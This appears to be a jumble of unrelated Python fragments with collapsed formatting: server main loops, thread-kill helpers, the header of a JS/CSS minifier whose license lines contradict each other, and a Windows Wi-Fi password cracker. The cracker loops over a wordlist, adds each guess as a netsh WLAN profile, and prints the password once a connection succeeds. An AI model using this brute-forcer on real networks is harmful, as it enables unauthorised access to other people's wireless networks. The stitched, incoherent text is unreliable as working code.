def main(): log('server.main', '+' * 20) log('server.main', 'Server started') print_header() datactl.makefile() printing.printf('Waiting for connections', style=printing.STATUS, log=True, logtag='server.main') Thread(target=handleinput).start() socketctl.init() Thread(target=socketctl.connect).start() while True: try: datactl.update() except KeyboardInterrupt: # Make sure everything made it into the data file datactl.update() socketctl.close() log('server.main', 'Server stopped') log('server.main', '-' * 20) # Quit everything (closes all the many threads) osexit(1)
def killall(cls): global __KILL_RECEIVED__ __KILL_RECEIVED__ = True try: sysexit(0) except SystemExit: osexit(0)
def generateXML(self, passwd): name_xml = self.ssid+'-conn.xml' try: file = open(self.config_file, 'r') except IOError: print("ERROR: Can't open %s this file is needed\n"%(self.config_file)) osexit(0) ssid_file = open(name_xml, 'w') replaced = file.read().replace('SSID_WIFI', self.ssid).replace('HEX_SSID', self.ssid.encode('hex')).replace('PASSWD', passwd) if self.auth == 'WPA2PSK': ssid_file.write(replaced.replace('AUTH', self.auth)) elif self.auth == 'WPAPSK': ssid_file.write(replaced.replace('AUTH', self.auth)) else: print("Authentication don't suported !") osexit(0) file.close() ssid_file.close() return name_xml
def killall(self, cls): config["KILL_RECEIVED"] = True try: sysexit(0) except SystemExit: osexit(0) config["KILL_RECEIVED"] = False
def connect(self, wordlist): for passwd in wordlist: xml = self.generateXML(passwd) cmd = popen('netsh wlan add profile filename="{xml}"'.format(xml=xml)) checkStatus = self.checkStatus() if checkStatus == True: print("\n[+] Cracked => " + passwd + "\n") osexit(0) else: print("[-] Attemp => " + passwd)
def main(): print_header() datactl.makefile() printing.printf('Waiting for connections', style=printing.STATUS) Thread(target=handleinput).start() socketctl.init() Thread(target=socketctl.connect).start() while True: try: datactl.update() except KeyboardInterrupt: datactl.update() socketctl.close() osexit(1)
def main(self): self.input_handler.start_listening() printing.printf('Waiting for connections', style=printing.STATUS, log=True, logtag='server.main') self.socketctl.start_connecting() while True: try: self.data_controller.update() except KeyboardInterrupt: # Make sure everything made it into the data file self.data_controller.update() self.socketctl.close() log('server.main', 'Server stopped') log('server.main', '-' * 20) # Quit everything (closes all the many threads) osexit(1)
print("[-] Attemp => " + passwd) ''' Executa a thread que roda o programa, uma thread e recomendada pois sao execs IO ''' def run(self): file = open(self.wordlist, 'r').read().split("\n") t = Thread(target=self.connect, args=(file,)) t.start() t.join() index = 1 if len(argv) == 1: print('python %s -h to help'%(argv[0])) osexit(0) for arg in argv: if arg == '--ssid' or arg == '-S': ssid = argv[index+1] index += 2 elif arg == '--wordlist' or arg == '-W': wordlist = argv[index+1] index += 2 elif arg == '--auth' or arg == '-A': auth = argv[index+1].upper() if auth == 'WPA': auth = 'WPAPSK' elif auth == 'WPA2': auth = 'WPA2PSK' index += 2
''' @author Daniel Victor Freire Feitosa @version 2.0.0 @license PL (private license) @copyrights All rights reserved to Daniel Victor Freire Feitosa - 2018 ''' from os import walk, path, makedirs, remove, _exit as osexit try: from requests import post except ImportError: print('module "requests" is needed try: python -m pip install requests and try run again') osexit(1) try: import dukpy except ImportError: print('module "dukpy" is needed try: python -m pip install dukpy and try run again') osexit(1) from threading import Thread ''' WebCompyler is a tool to decrease your JS and CSS codes ''' class WebCompyler(Thread): __author__ = 'Daniel Victor Freire Feitosa' __version__ = '2.0.0' __license__ = 'GPL 3.0 (General Public License 3.0)' __github__ = 'https://github.com/proxyanon'